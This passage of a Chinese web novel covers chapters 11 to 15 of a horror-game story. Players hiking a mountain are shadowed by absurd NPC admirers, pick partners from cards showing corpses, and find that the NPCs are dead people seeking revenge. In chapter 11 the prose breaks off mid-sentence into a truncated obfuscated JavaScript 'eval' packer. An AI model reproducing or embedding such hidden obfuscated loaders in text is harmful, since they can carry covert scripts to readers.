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卖黄瓜的人穿着一身略显随意的衣服,抬起头,露出一双略下垂的圆眼——就像可爱的狗狗一样,和端正的五官,“当然可以。” 要是平时林屿可能还会惊讶一个小摊贩竟然还有如此姿色,但现在她的注意力显然集中在可以缓解饥饿的黄瓜上,正一个一个试过去看能不能放进背包带走,跟过来的何芝也在做同样的事,动作比她还娴熟。 林屿:……这个游戏果然是难民集中营。 不过运气这件事是说不准的,林屿只测试过小半筐,已经找到两根可以装进背包的黄瓜,她从包里翻了翻,掏出一些零钱付了,另外还在背包里发现一瓶水和一袋饼干——可惜这些带不出去。 何芝毫无收获,但她似乎习惯了,没有露出遗憾的表情。 “走快些,要赶不上他们了。”她催促着。 两人转身就要走,而这时身后传来卖黄瓜人的声音:“你买了我的黄瓜,就要对我负责。”说着,收起装黄瓜的箩筐直直凑到林屿身旁。 林屿:……我现在还给你还来得及吗? 11. 第十一章 沿着步梯逐渐往上,游人逐渐稀少,隐约能看见走在上方的玩家身影。 “别走散了。”何芝说着加快了脚步,林屿看了看身后无辜眨着眼,紧跟不舍的黄瓜摊主,心里叹了口气。 副本进行到现在也没有发现危机在哪里,而突然遇到目的不明的人,稍有经验的玩家都会心中戒备。她不是没有试过还回黄瓜,但黄瓜摊主不要,只是自顾自地一路跟着她,她擦汗时递出毛巾,脚累时搬出小板凳,殷勤得就像是对待娇气女友一样。 忍住怪异的感觉,林屿正要迈大步走,忽然顿住了,“小周?” 身侧陆陆续续走过几个游客,她的目光在方才擦肩而过的背影中辨认着,心里有些犹疑不定。方才她似乎看到了上个副本里的小周…… 只是她总共也没见过小周几次,仅靠余光的判断和陌生的背影实在不能确定。 “小周,小周是谁?是我的竞争对手吗?”黄瓜青年逮住她脱口而出的人名追问,一脸受伤的表情,“没想到我在你的心里不是最重要的,是我的错,我还不够好。” 林屿忍不住问:“你到底把我当成什么了?” “你是我选中的人!我一定要成为你的唯一!”他激动地说。 他依然没有透露出什么信息,只散发出一股浓浓的乙游味。这一打岔方才的人影也远远走在前面追不上了,队友也走出一段距离,林屿不再耽误时间,加紧了步伐。 可当走到何芝附近,发现她正在应付一个白皙瘦弱的少年的纠缠,看样子似乎遇到了和她一样的情况。 “姐姐,我只是想感谢你啊,你为什么对我这么凶。”少年扯住何芝的袖口不放,“你是唯一扶我起来的人,是我遇到最好的人了,就让我报答你吧!” “抱歉,我不需要。”何芝抿着嘴角扯回衣袖,见林屿跟上来了,简短说道,“走。” 两人迈步前行,白皙少年如料想一般牢牢黏了上来,比黄瓜摊主跟得更紧,一直想凑上前来扒住何芝的胳臂,只是未能得逞,拖着欲掉不掉的泪珠,让不明就已的人看了心疼。可惜两个女士心硬如铁,不为所动。 在现实世界不说,要是在恐怖游戏里还心疼男人,尤其是明显可疑的NPC,早就不知道埋尸何处了。 通过陆陆续续的交谈和白皙少年一路为以身相许的爆料,林屿总算弄明白事情的经过:少年忽然从山梯上摔下来,正好滚到何芝脚边,还抱住她的腿不放,无奈之下她只好把少年拎起来,没想到少年感动不已,非要报恩不可——而报恩的方式在这个时不时让人感觉像乙游的恐怖游戏里只有一个,自然就是以身相许了。 强行报恩的少年看起来柔柔弱弱哭哭啼啼,但有一种不达目的不罢休的架势,实在让何芝头疼不已。林屿十分理解这种感受,因为她身后也跟着一个人呢,她说出推测:“或许这和这一关的危险有关。” “有道理。”何芝回答,两人对视一眼,说话间已经赶上了离得最近的玩家。 “我说了不需要你承包这座山,也不需要你家里的鱼塘,能不能让一让?我赶时间!” 三个高大的男人正围着蓝虹蝶,其中两个拦着不让她离开,也把一脸苦恼的仲腾挡在一边,中间戴墨镜的男人梳着大背头,一手插兜一手拿雪茄,双腿随意地摆了一个姿势,锃亮的皮鞋与周围的青山绿水格格不入。 林屿看到这幅场景就想捂脸,浮夸,实在是太浮夸了! “不乐意?”男人抬起下颌,抽了一口雪茄,吐出缭绕烟雾,“觉得少?” “那我再为你承包500个油田。不要得寸进尺,女人。” 一旁的仲腾小声感叹:“天啊,好尬!” 蓝虹蝶崩溃地问他:“你到底想干什么?!能不能让我过去?” 男子依然不紧不慢地反问,“过去,你想逃?你是逃不出我手掌心的。” 林屿清了清嗓子,插入了他们的对话,“那个……这位先生,你是选中了她吧?” 男子反问,“是又如何?难道你要来阻止我?” “我的意思是,你们总不可能在这里拉扯一辈子,无论你想做什么,只要人在身边什么时候都有机会,而这位女士看样子不想和你走,但你可以和她走啊,多帮忙多表现一下说不定她会对你改观。” “和她走?我怎么可能跟在别人的屁股后面?”男子一脸傲慢。 林屿抽了抽嘴角,“你的目的是山顶吗?正好我们顺路。” “真是没办法,人太受欢迎了就是这点不好,你们非要跟上来我也没办法。”男子说完抬脚走在前面,两个保镖一左一右跟在身后,他走了两步却停住了,回头盯着蓝虹蝶不放。 “跟着走。”林屿小声对她说。 “这是怎么回事啊?非要跟着那个奇怪的自恋狂不可吗?”蓝虹蝶小声地抓狂道。 顺着林屿的目光,她终于注意到队伍里多出来的两个人,脸上惊疑不定。 “姐姐,我刚才摔到腿了,可以帮我揉揉吗?”柔弱易碎的少年几次向何芝依靠过去,都被不着痕迹地闪开了,他眼泪汪汪地抬头质问着,“姐姐,你不疼我了吗?” “从来没疼过。”何芝冷漠道。 “姐姐,我知道你只是嘴硬,其实心里可在意我了,在我摔倒的时候只有你注意到了我,扶起了我,我知道,在你心中我是最特别的那一个。”少年毫不丧气,自说自话,伸出手牢牢抓住何芝的手臂,她挣脱几次都挣不开。 “我的手也摔肿了,姐姐帮我吹。” 何芝嘴角紧紧抿成一线,脸色越发冰冷。 而黄瓜摊主见状也凑上前来,“客人,你一直走路腿酸了吗,要不要歇歇?”他搬出小板凳,又殷勤道:“出汗了吗,我来扇扇风。”随即用手左右扇动,看上去仿佛在打林屿耳光。 “饿了吗渴了吗?”他从背篓拿出小黄瓜就要喂进她的嘴里。 “不用了,谢谢。”林屿拒绝,用目光示意自己这边的情况。蓝虹蝶有些明白了,看来每个玩家都会遇到一个特殊NPC,只是她这个格外让人无语…… “啊!你干什么?”她忽然被凌空抱起,失去平衡地惊呼。 “女人,你磨蹭那么久,不就是在等我帮你吗?” “快放我下来!”蓝虹蝶生气地喊。 说着过时土味话的男子充耳不闻,无视了她的踢打,大踏步前进,像极了过去那千千万万个脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林屿表示赞同,根据游戏能把男玩家套进女装的尿性,她觉得很有可能,不过现在看来仲腾的祈愿成真,他也不用忍受被迫搞gay的痛苦。 少女撞了树,揉着额头晕乎了一会儿,这一会儿足够玩家看清她的长相,和狗狗眼黄瓜摊主、柔弱少年、霸道总裁一样,这类特殊NPC没有长得不好看的,清清亮亮的眼睛,红扑扑的脸颊,白嫩水润的皮肤和俏皮的双马尾,是可爱的邻家女孩形象。 “仲腾!你说你去外地出差,怎么现在却在这里爬山啊?”少女缓过来,蹦跳到仲腾面前问他。 林屿心中一惊,这个NPC,竟然知道玩家名字……不过转念一想,也许在他们自我介绍的时候被听去了也说不定。 仲腾擦擦脑门上的汗水,心里也是惊讶,脸上却呵呵笑道:“我提前回来了,你……你今天没有事情吗,怎么来这里?” “我就是来找你的呀。”少女天真无邪地说道。 可她刚才还质问仲腾为什么在这里爬山。林屿心里升起诡异的感觉,又听少女说:“家里没有需要我做的事情了,学校也是,所以我就来找你了。” 原来是这样。仲腾缓缓放下心来,看来这个NPC的身份设定就是邻家女孩,因此才认识自己。 他主动对她说:“那你要跟着我吗?” “好呀。”女孩欢快地走在他身边,一副无忧无虑的模样。 12. 第十二章 经过女孩这个插曲以后,一行人没有再遇到意外,顺利来到山顶的旧屋,而这里早已等候着两个人——睦忻州和挽着他手臂的娇艳女人。 不过和其他玩家不同的是,他没有表现出勉强和回避,就好像身边的不是贸然凑来的NPC,而是自己光明正大的情侣。 “等你们好久了。”他说。 就在玩家全部赶到以后,这一间老式房屋木门的铜锁“啪嗒”一声断开,木门无风自动向内开启,伴随着老式门轴让人牙酸的“嘎吱”声,黑洞洞的空间张开了一个进门的角落。在铜锁断开掉落到地上以后,自动变成一张纸条。 “一次一人。” 林屿注意到,这个旧屋是没有窗户的,因此也没有光线能够投进去,除了门开后的缝隙,室内昏暗无比,只能隐约看见一个椅子的轮廓。 “这又是什么意思?”林屿和何芝冷目观察,蓝虹蝶仍然在土味男子的臂弯挣扎,试图争取自己走路的权利,仲腾见状只好去问看起来知道些什么的睦忻州。 他的话语刚落下,众人都收到了系统的任务通知:选择搭档。 “选择搭档?是指玩家选择玩家做搭档吗?可没有说几个人一组啊?”仲腾向众人征求着意见,他没有避讳地提到玩家,就像之前在闲谈里也没有避讳地用NPC形容副本里非玩家以外的人,这也是所有老玩家都知道不用在意的事。 因为系统不会屏蔽、不会惩罚,而被称为NPC的人或是其他什么东西本身就是通关的障碍,而且听到以后也不会有任何反应。 睦忻州不耐烦地反驳他,“玩家只有5个人,不论怎么分组人数都均分不了,除非一人一个组,那系统让选搭档的意义在哪?” 他看了挽着自己手臂的女人一眼,斩钉截铁,“肯定不是玩家间选搭档组队。” 蓝虹蝶停下挣动,惊疑地问道:“所以任务是要我们选NPC做搭档?”她嫌弃又痛苦地看着甩不脱的“霸道总裁”,“难道要选他们?我能自己挑人吗?” “女人,你竟然不想选我?我哪里比不上他们?”土味男子闻言立马质问她,惹得被架着尬了一路的蓝虹蝶痛苦地转过脸。 牢牢粘着何芝不放的少年也露出期盼与担忧,“姐姐,你可一定要选我呀。” 仲腾对身边的女孩露出一个安抚的笑容,回答蓝虹蝶,“任务是选择搭档,可能就是让我们自己挑选。” “那到底要怎么选搭档呢?”林屿加入讨论,“怎样才算做出选择?” 众人沉默下来,你看我我看你,都没有说话。 其实他们不是没有猜测,只是都不愿意率先开口做最先尝试的人。林屿慢慢看过皱着眉不高兴的睦忻州,故作疑惑的仲腾,扭头沉默的蓝虹蝶,最后对上何芝平静的视线。 “可能要到这间屋子里看一看才知道。”林屿开口说,指向铜锁变成的纸条,“一次一人,是说每次只有一个玩家能进去吗?” 何芝说道:“应该是这样。” 所有人都站着没动。 林屿觉得再这样耽误下去不是个事,而且这回任务显然不是一次性发布的,“挑选搭档”这一关过去明显是有后续,于是最先说道:“我去看……” “我去探一探情况。”何芝比林屿更快地说完,目光和她对上,轻轻颔首一下,随后从少年怀里扯出手臂,迈着稳当的步伐走进黑屋子里。 木门在人走进去以后发出两声让人牙酸的门轴摩擦声,何芝谨慎地在门边摸索,借着透进来的光线打量室内,然而就在玩家都凑到门边想要探头去看的时候,这扇门“碰”地一声关上,将挺直的背影隔绝在黑暗中,围在旁边的几个玩家连忙缩回脑袋,被吓了一大跳。 “好险,幸好没有把头伸进去,不然你们的脖子就被夹断了。”蓝虹蝶说完心有余悸地摸了摸自己的脖子。 “这也太恐怖了吧,不知道里面都有什么。”一路上仲腾已经发现林屿和刚才进去的玩家是组队前来的,于是凑到近前对她说:“副本不可能只是单纯的登山,但这一路都没有发现什么危险,突然来一个这么诡异的房屋,很可能里面有什么陷阱,你这朋友勇气可嘉呀。” 林屿淡淡扫了他一眼没说话。这人明摆了是想打探何芝的能力。 一路上,何芝很少发表意见,几乎没有在任务上占据主导,她似乎是在观察。 林屿明白,她是在观察自己,一个团队不会突然接纳一个从未见过不知品性的陌生人,更何况一个团队的负责人,即使有孟锦竹推荐,她也不该没有任何考察。 所以,这个副本就是考察。 但是,让她第一个进去,才更能看出能力,她不明白何芝为什么抢先,还在进去之前塞给她一样东西。 林屿远离仲腾,隐蔽地看向手心——一小张白纸。 蓝虹蝶痛呼一声,把众人的视线引来,只见她摔倒在地上,痛苦地捂着尾椎骨,土味男子和他的两个保镖不知所踪。 玩家皆是一惊,睦忻州大声问,“NPC呢?怎么全都消失了!” 环顾一圈,不只是土味男子三人,之前所有跟过来的NPC全部都不见了,只有风吹树叶发出沙沙声响,除玩家以外再无别人,也没有登山的其它NPC游客出现在视线中。 林屿走向前去扶起蓝虹蝶,听了一耳朵她对土味男子的怨气,目光却投向紧闭的木门,也许这和屋子里发生的事有所联系。 不知过了多久,也许只有几分钟,但等待的每一分每一秒都是未知的压迫,屋子里没有任何声音,门下没有缝隙,也没有窗户能够窥探,就像是隔出了完完全全另一个空间。 睦忻州已经不安地焦躁踱步,仲腾擦着头上的汗,蓝虹蝶揉着被摔疼的手臂,只有林屿安静地站在一边,紧盯着关闭的木门。 终于,在不安的等待和众人的期盼下,房门嘎吱作响,在万众瞩目之下缓缓地打开,依然只敞开一个落脚的空隙,依然是不能看清屋内情形的黑暗,屋子里安静沉寂,玩家等了又等,依然没有任何人走出来。 “怎么回事?人怎么没了?”仲腾想凑近观察又有些不敢,“难道这里是副本最难的关卡?” 睦忻州凑近试图把门缝推大一点,但使劲了好一会儿也没有用处,可他又不愿意在有明显危险的情况下去送死,只能焦躁地踱步。 蓝虹蝶明显不愿意进到黑暗危险的门中去。 林 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无危险是说屋子里没有什么可怕的,可为什么又要强调谨慎? 林屿放好纸条,正要拿过卡片,忽然注意到桌面刻着一些字,这些字都是短句,排列整齐,和曾经看到的印刷在纸上的规则一模一样。 1 一次一张。 2 一张一次。 3 一张一分钟。 这是在说看卡片的规则?一次一张,这个好懂,是说一次只能拿一张。但一张一次是什么意思?翻看时间是一分钟。 林屿觉得如果卡片上内容太复杂的话有点考验记忆力,不过在稳住心绪之后,果断拿起第一张卡片翻开。 卡片正面印着一个人,这是个身形扭曲、浑身是血的女人,她面朝下倒在地上,看不清脸。林屿又看了看,心里疑惑那是什么情况下才能出现的状态。 对面的木椅蓦然出现一道身影,林屿惊讶地发现,这竟然是跟着睦忻州的那个NPC,可她身上并没有什么伤口,也没有血迹,只有卷发和卡片中的人一样。 女人撩了撩头发,露出妩媚的微笑,问道:“你要选我吗?” “当搭档吗?”林屿问,“所以,我需要在这里指定搭档,那你们不用选择吗?” “我们不用,你们选择就好了。”女人微笑着回答。 “那你们可以拒绝我们的选择吗?”林屿继续问道。 女人没有不耐烦,依然保持着迷人的微笑,“不能哦,我们只是被选择的人。” 被选择的人。所以,主动权在玩家这里吗?林屿想到一路上跟着玩家的NPC,他们每个都似乎认定了一个玩家,目标明确。 林屿忽然好奇其中的规律,想着若是选择了跟着其他玩家的NPC会怎样。 “所以你们不能拒绝我们的选择?” “是的。” “那你希望被我选择吗?” 女人的笑容加深,“当然。” 可当然有两个意思,当然希望,当然不希望。 林屿忽然问,“在之前,你为什么要跟着睦忻州?” 13. 第十三章 林屿坐在座位上,手指渐渐沁出汗迹,方才的卡片在女人出现时就已消失不见,两根手指触碰在一起,指腹变得潮湿。这间没有人说话的也没有出口的房间顿时安静无比,林屿目光中,对面女人眉目间的神情和嘴角的笑意分明没有变化,却不知为何显得阴森诡异。 她轻轻开口,林屿聚精会神地等待着她的回答,她没有来地觉得这个回答很重要。 “时间到了,你没有选择我。” 说完女人如同那张翻开的卡片一样,一瞬间化作虚影消失。 林屿长长呼出一口气,放松下来靠在椅子上,方才对面的NPC明明十分耐心友好地回答问题,也没有做出攻击的表现,但她就是感觉不对劲。在上山的一路上,每一个跟着玩家的NPC也没有任何对他们不利的行为。 但正是因为一路平顺,林屿才如此提心吊胆,她并不认为副本会单纯地让玩家爬个山就通关,如果说上山的一程没有意外已经是奇迹,那在这里选择搭档的过程仍然没有危险,怎么看怎么觉得说不准哪里忽然来个大的,把这局玩家一网打尽。 不过她才过了一局副本,也说不准副本的难度和机制,说不定这一关就是这么简单呢? 林屿又拿出这半张纸条看了看,“无危险”根据方才翻开卡片的经历,大概是说在这里进行的选择搭档过程中NPC不会攻击玩家,屋子里也没有别的鬼啊机关啊什么的,可这个“谨慎”却并没有明确的指向。 桌面上的提示还在,“一张一次”,现在她知道是什么意思了——每张卡片只能被翻动一次,也就是说每个NPC只会出现一次,不选择的话就会错过,没有吃回头草的机会。 林屿继续翻开第二章卡片,忍不住轻轻“嘶”了一声。 不比刚才的画面血腥,可冲击力却要更强一点。一具死状凄惨的尸体仰躺在地上,半个脑袋都凹陷进去,一只黑洞洞的眼睛和另一只被砸烂的眼睛明明已经不能看向同一个方向了,可看到这张卡片的玩家就有被一好一坏两只尸体的眼睛直直盯着的错觉。 林屿对面浮起人影,随后卡片消失,她抬头,只见土味男子翘着二郎腿抽着雪茄吞云吐雾,张口就是:“女人,你看上我了?” 鸡皮疙瘩一瞬就冒起来了。 和这个人对话的第一句就需要深呼吸,林屿眉毛抽了抽,面无表情地说:“你想多了。” “那你为什么把我叫过来了,不就是要选我吗?”土味男子反问。 “要不要选你,当然要等你回答完问题才知道合不合适。”林屿提醒他一句,想到一个人只有一分钟,接着上个女人没有回答的问题问:“之前你不是跟着我的同伴都不看我一眼,为什么觉得我会选你?” 男子挑眉恍然大悟,“原来你是吃醋了,我果然魅力四射!”那得意的姿态和果然如此的表情看得林屿拳头痒。 他又说道:“如果你选我,之后我当然就跟着你了。” “那之前你怎么不跟着我?”林屿顺着他的话问。 “之前你身边有个讨厌的小子,之后如果他敢跟我一定把他打跑。” “是吗?”林屿靠在椅子背上,似乎开启了闲聊模式,“靠什么把他打跑?你的保镖又不在。” “我需要的时候他们就在。”男子很有信心地说,“我这边三个人。” “时间要过了,快说选我。” 林屿笑了笑,看着男子略显着急的表情。 “你不是我的菜。” 土味男子愤愤不平地消失了。 林屿没有急着翻开第三张卡片,在内心整理着刚才试探到的情报。 首先,男子并没有直接回答为什么之前非要跟着蓝虹蝶的问题,她几次三番地提问都被他用另外的话题掩盖,说了一圈其它的都没有说原因,这说明在这里,虽然NPC必须回答问题,但并不一定要回答精准。他们也可以拖时间,就像之前的女人并没有回答最后一个问题一样。 恰好,这一个问题也是土味男子避而不答的。 所以,之前每个跟着玩家的NPC都不随机,而是有深层次的原因。这个原因或许就是通关的关键。 其次,男子对要被她选为搭档这件事并没有表现出拒绝的态度,之前的女人也是,只是这个人更加掩藏不住想要被选择的想法。 明明在上来的一路上他们目标明确,几乎不骚扰目标外的其它玩家。只可惜所有玩家都对突然冒出来的人心生警惕没怎么交流,又因为他们的表现太过浮夸,令人更加没有说话的欲望,所以一路上根本没对他们有所了解。 林屿推测,或许在这里被选择会给NPC带来好处,只是不知道是什么好处。 不过五个玩家,一人一个的话所有人都会被选中,NPC应该不担心会被遗漏这点才对。林屿皱了皱眉,小心翼翼地摊平卡片数了数,还有3张。 加上方才翻开的两张,一共5张,5个玩家5个NPC5张卡片,可何芝方才应该也选了一个。 所以是多个玩家能选一个NPC?林屿想通过纸条问一问何芝,但她周围没有写字的东西,自己也没有能带进副本的笔。 还有最后一点,至今为止玩家所看见的NPC都是完好无损的、正常人的样子,可卡片上的NPC都是已经死亡的尸体。 想到这一点,林屿感到头皮发麻。 半晌,她翻开了第三张:零落的肢体散布在树林里,头颅歪斜着滚落在四肢之间,少女脸上残留的惊恐扭曲了整张面孔。 林屿抬起头,果然见到方才跟着仲腾不放的女孩坐在对面。 “你好?”她试探地打了声招呼。 女孩弯着眼睛用手掩嘴咯咯地笑,“礼貌姐姐,你要选我做搭档吗?” “你希望我选你吗?”林屿问她。 “我挺喜欢姐姐,所以……”女孩竖起手指头摇了摇,“姐姐可以猜一猜。” “我明白了。”林屿说。 “明白什么了,我还什么也没说呢。”女孩歪着头看她。 “明白你希望我选择你。”林屿笑,她明白女孩不希望自己选择她,刚才她摇手指就是在提示。所以是,NPC囿于规则不能表示拒绝被选择的意图。 女孩说,“姐姐知道我是这个意思就 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为什么他会不同?其他人都是死亡的状态,可只有他好端端地活着,没有任何异常。林屿思索间,黄瓜摊主已经坐在椅子上,热情地同她打招呼。 “客人你好呀,我就知道你会选我的。” 林屿没理会他的话,问道:“你知道跟着我同伴的那些人吗?” “你是说那些打扰我们二人世界的讨厌鬼?”黄瓜摊主睁着无辜的大眼睛,“我又不知道他们是谁。” 林屿:“你骗我。” 黄瓜摊主耸了耸肩,“我怎么可能说谎,我真的不认识他们。” “那……你是活人还是死人呢?” 像是没有料到她忽然会这么问,对面的人瞪大了眼睛,“你怎么可以怀疑我、诅咒我,我不是还活得好好的吗?” “那你知道其他人是活人还是死人吗?”林屿又问。 “这个……”对面的人露出为难的表情,忽然又舒展开来,“他们都不怀好意,所以你更应该选我啊!” “可是我还有最后一个人,未必要选你。”林屿示意桌上还有一张没有翻开的卡片。 “哎呀,过了这村就没这店了!”他着急道,“快没时间了,再不选我我就要跟着别人了!我把黄瓜都给你你快选我!” “谢谢,我不要。”林屿拒绝,“要想我选你,那你就现在对我说:我不会害你。” 黄瓜摊主张了张嘴像是正要说出口,他与林屿对视几秒,消失在房间里。 还剩下最后一张,她只有这个选择了。其实选择刚才的NPC未必不好,反而最为稳妥,因为大部分玩家还是会选择跟着自己的人,副本不会在这里设置必死局,相反,选择错位的匹配才更更有未知的危险,但为着心里的猜测,她仍然放过了稳妥的机会。 如果这张卡片和她想的不一样,那她就做了一个错误的选择。 林屿缓缓翻开最后一张的背面,看到了一个脖子吊在树上的人。 14. 第十四章 对面的人肤色苍白,浅红的嘴唇上似乎有一层柔润的微光,眉骨深邃,肩阔背直,棕色的瞳仁泛着幽幽的金,端端正正地坐在那里,神色晦暗不明。 不是最先推测的梨花带雨少年,而是一个先前根本没有出现在玩家面前的人。但——正合她意。 林屿长长地呼出一口气,软下身子靠在椅背上,满面笑容地同他打招呼,“嗨,小周,又见面了。” “从上个副本出来我还一直很过意不去,看到你还活得好好的我就放心了。” 丝毫不提自己就是让他差点没活着逃出安心小屋的罪魁祸首。 不出所料,林屿毫无诚意的语气和暗讽的话语狠狠扎中对面的人,愤怒在他脸上一闪而过,他紧紧盯着林屿,忽然笑了。 “怎么,你很失望?” “我看你已经没有备选人了,难道你想选择我?” “是的,上个副本你我合作得那么愉快,我相信你是个好搭档,就这样定了,我选你。”林屿也笑着说。 上个副本她是愉快地带人逃脱了,可也愉快地把小周留给发狂的boss,这回他肯定会千方百计地阻挠她通关,但是,林屿也对他秘密十分好奇。 “你们NPC可以乱窜副本吗?我还以为你跑不出来,可以告诉我你是怎么离开的吗?”林屿趁着这一分钟还没过完的真话时间提问道。 “正常离开。”小周迫于规则回答了第二个问题,又反问,“你觉得可以吗?” 他拒绝透露,让她自己猜NPC能不能窜副本这件事。 “我猜你不是正常NPC。”林屿观察他的脸色,心里有了答案。 “不介意的话,可以告诉我你的名字吗?”她抓紧最后时间问他。 小周沉默地看着她,直到最后一秒才开口,“贺望。” 随着他的话语落下,林屿周围的景象忽然变了,方才还身处亮着灯的狭小房间坐在椅子上,转眼间就维持原来的姿态摔在泥土地上,路旁的青竹枝叶摩擦,发出清脆的声响,但路面干干净净,不远处就是下山的石板阶梯。 林屿默念着他留下的名字,终于肯定了自己的猜测,明白上个副本他身上的不协调感来源于何处——他并不是真正的小周,他只是替代了那个角色。 线索里的小周风流轻浮,爱穿花衣服,而林屿见到的他老老实实蹲了两天凳子,那些浮夸的举动来源于他的扮演。 林屿方才站起身,站在不宽的道路中央等候玩家的何芝走上前来,身边仍旧跟着那个少年NPC,他似乎又想扒拉住她的手臂,却被何芝不动声色地避开。 她肯定看过少年在卡片里的形象了。 这时系统提示响起,再次发布任务:下山。 果然,有上山就有下山,大概这次任务就是一次完整的爬山之旅。 “你看到了我的留言?” “对。”林屿正是看到留言才选择第二个进房间。 “选了谁?” 林屿环视了一圈,明明她已经选择了贺望,但现在完全找不到人影,于是问何芝,“你选了他?” “是的,怎么了?”她也发现林屿身边没有任何人出现,“你没有选搭档?” 林屿再次巡视一圈,发现那个肯定想坑她的家伙确实没出现,“……选了,但是他好像跑不见了。” 何芝震惊地和她大眼瞪小眼,“还能这样的?” 林屿心虚地咳了一声,转移话题道,“对了,之前你在纸条上写‘谨慎’是什么意思?” 何芝解释道,“没有危险你知道吧,是说在房间里没有受到攻击,我选了之前跟着我的人做搭档,但我不能保证这个选择一定正确,所以告诉你谨慎思考,小心选人。” 林屿缓缓移开视线,怎么说呢?她大胆地选了最危险的人物。 似乎在她知道自己不会在副本里死去之后,就更愿意满足自己的冒险欲,总是做出大胆的行为。 这一回的空间大概不再局限于一个小区域,虽然远眺是连绵的山脉,然而能够看见堆叠的云层、蔚蓝的天空,太阳从天空最顶端缓缓下移,一阵微风吹来,叶片碰撞出叮当声响。 景色美好得不像是在诡异的副本里。 几缕细长竹叶随风飘落到近旁,林屿看着空中缓缓旋转的叶片,却总觉得哪里不对劲。 一片竹叶几乎要擦着何芝的脸落下,余光中林屿看见少年正在做一个推的动作,她心中警铃大作,将何芝猛扑在地,叶片擦过脸颊,温热的鲜血瞬间流下,之后才感到一阵疼痛。 林屿反应过来不对劲的感觉是什么——竹叶的摩擦声不该这样清脆,这是刀面的摩擦,而不是叶片。 “刚才多谢,幸亏有你。”何芝起身风雨欲来地看向少年,她做警察多年,目光锐利,极有威势,可先前看上去软弱的少年竟然没有被吓到,仿佛刚才什么也没有发生。 “姐姐,看我做什么?”他依然是那副柔弱可怜的姿态。 “你想戳瞎我的眼睛吗?”何芝冷脸问他。 如果不是林屿的干扰,她的眼睛就会撞上锋利的竹叶,虽然以她的反应甚至可以躲开身后捅过来的刀子,但那叶片原本的轨迹就是向她而来,在没有防备的情况下,再加上身后的推力,几乎避无可避。 “我只是做了姐姐对我做的事。”少年痴迷地看着她回答道,“我不想你甩掉我,你过去也想甩掉我呢。” “我对你都做了什么?”何芝不动声色地问他。 “你一直躲我,报警抓我,我用什么办法都没用,但有一天,你突然约我去山里徒步旅行,我以为你终于想通了,没想到……”少年又想凑近她,却被何芝拿着竹叶对着喉咙不敢上前。 “这次我不会再放弃姐姐了。” 应该是这次不会再放过你了吧。 林屿在心里模糊地勾勒出缘由,果然,这些跟着玩家的NPC都是和玩家有前因的,他们似乎被玩家害死,前来寻仇。 可惜老早出现的几人在上山一路表现得太过令人讨厌所以没人愿意搭话。 又是一阵风吹来,这阵山风不大不小,零零落落的叶片被吹到路面,何芝不得不拉着林屿躲避这阵刀片雨,与少年拉开了距离。 林屿问,“你看到的卡片里他的眼睛瞎了吗?” 何芝沉重地说:“对。” 显然她也想到了寻仇这一点。 她注意到林屿脸上的伤口,从背包拿出一张 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何芝也发现这一点,简短有力道:“走!” 说完快步踏上石板阶梯向山下走去,林屿转头看了一眼紧跟玩家不放的两个NPC,忽然听到蓝虹蝶问:“你选的谁?他怎么不在这里呢?” “……他跑不见了。”林屿再一次顶着队友难以置信的目光回答。 蓝虹蝶喘着气跟着往下跑,沉默片刻,忽然说:“我好羡慕。” 她好羡慕这样清爽的关系。 林屿:“……” 三人从竹林小路快速行进,心里都知道这条路上如果再次遇到刮风,将避无可避地受伤,但是向下的台阶比上山还要危险些,蓝虹蝶从跑在最后,忽然“哎呀”惊呼一声,向下摔倒,一直滚落了十多个台阶才停住。 林屿也差点被带倒,幸好及时抓住了旁边的栏杆。何芝走在最前方,正要上前查看痛呼不已的蓝虹蝶,却有人比她更快一步。 邻家女孩想要扶起蓝虹蝶,却被她一把拍开手,愤怒道:“刚才是不是你在推我?” “怎么会?”女孩无辜地说,“我明明离你很远。” 之前林屿就留意了那两个NPC,他们跟在最后面,最开始是柔弱少年在蓝虹蝶身后,但距离也不近,但没有经过转角走直路的这几分钟她就不知道情况了。 蓝虹蝶摔得不轻,脚也崴了,没法再快步跑,但幸运的是路边竹子越来越稀少,她们几人就快走出这片竹林了。 于是两人要求跟着她们的两个NPC走在前面,蓝虹蝶被何芝架起来分担一半重量,林屿走在最后防备背后的危险。 走过这片竹林,就是正常山路的景色,路边平缓一些的地方长着许多杂草灌木,远一些的陡坡树木参天,林屿忽然发现路边的土壤有些鲜褐的圆点。 “蓝虹蝶,你受伤流血了吗?”林屿问,“我这里有绷带。” “没有啊,我没感觉哪里流血。” 林屿脚步顿住了,但拉拉杂杂像是什么东西走动的响声没有停止。 15. 第十五章 “快走!”林屿压低声音呵了一句,上前搀扶起蓝虹蝶另外半边身体,与何芝一左一右分担她的重量,加快行进的速度。 她们不敢让NPC走在背后,因为这下是三个人分担重量,共用一个重心,如果再被人从背后推一把,后果不敢想象。可走在前面的邻家少女和柔弱少年不知是不是有意,一会儿喘着气说累,一会儿扶着额头说头晕,扭扭捏捏,拖拖沓沓,总之就是不肯加快脚步,像是故意在给玩家添堵。 “你们觉得,这山里会不会有野兽?”林屿盯着前方少年“弱柳扶风”的背影,轻声问两个同伴。 说完,她感觉蓝虹蝶搭着她肩膀垂落下来的手指抽了抽。 蓝虹蝶脸上闪过恐惧,先前跑出竹林出了一身细汗,现在因为负伤静止下来,被山风一吹,顿时起了一层鸡皮疙瘩。她仓促环视一圈,目光落在前面两个NPC身上,顿时皱紧了眉头,没有好气地说道:“你们能不能走快点,要是继续磨磨蹭蹭,就别跟着我们了!” 两个NPC停下脚步。 他们也没有回头,就这样僵直着背挡住去路,林屿和何芝被迫停下脚步,站在离他们三步之远的距离,浑身肌肉不由自主地绷紧了。 两个身影如同门神一般站在台阶上,肩并肩,牢牢堵住了过人的空间,这一段路两旁有半人高的扶手,在带着人的情况下几乎不可能绕过去。 草叶拂动的沙沙声从背后传来,逐渐逼近的响动让林屿汗毛直立,正要回头去看的时候,邻家少女出声道:“可是我不是你的搭档吗,不跟着你,我还能去哪里?” 柔弱少年的声音起先非常轻,几乎能融入微风随之消散,末尾几个字却被扭曲得尖锐高亢,“你又要赶我走吗,你又要抛弃我了,对吗——姐——姐?” 何芝心跳因这诡异的腔调突兀地漏了一拍,稳住心神,开口道:“没有的事,不要多想,你们继续走。” 两人这才迈着僵硬的步子,往前方踏步,然而经过此番波折后,他们身上似乎有些不对劲了,仿佛少了什么东西。 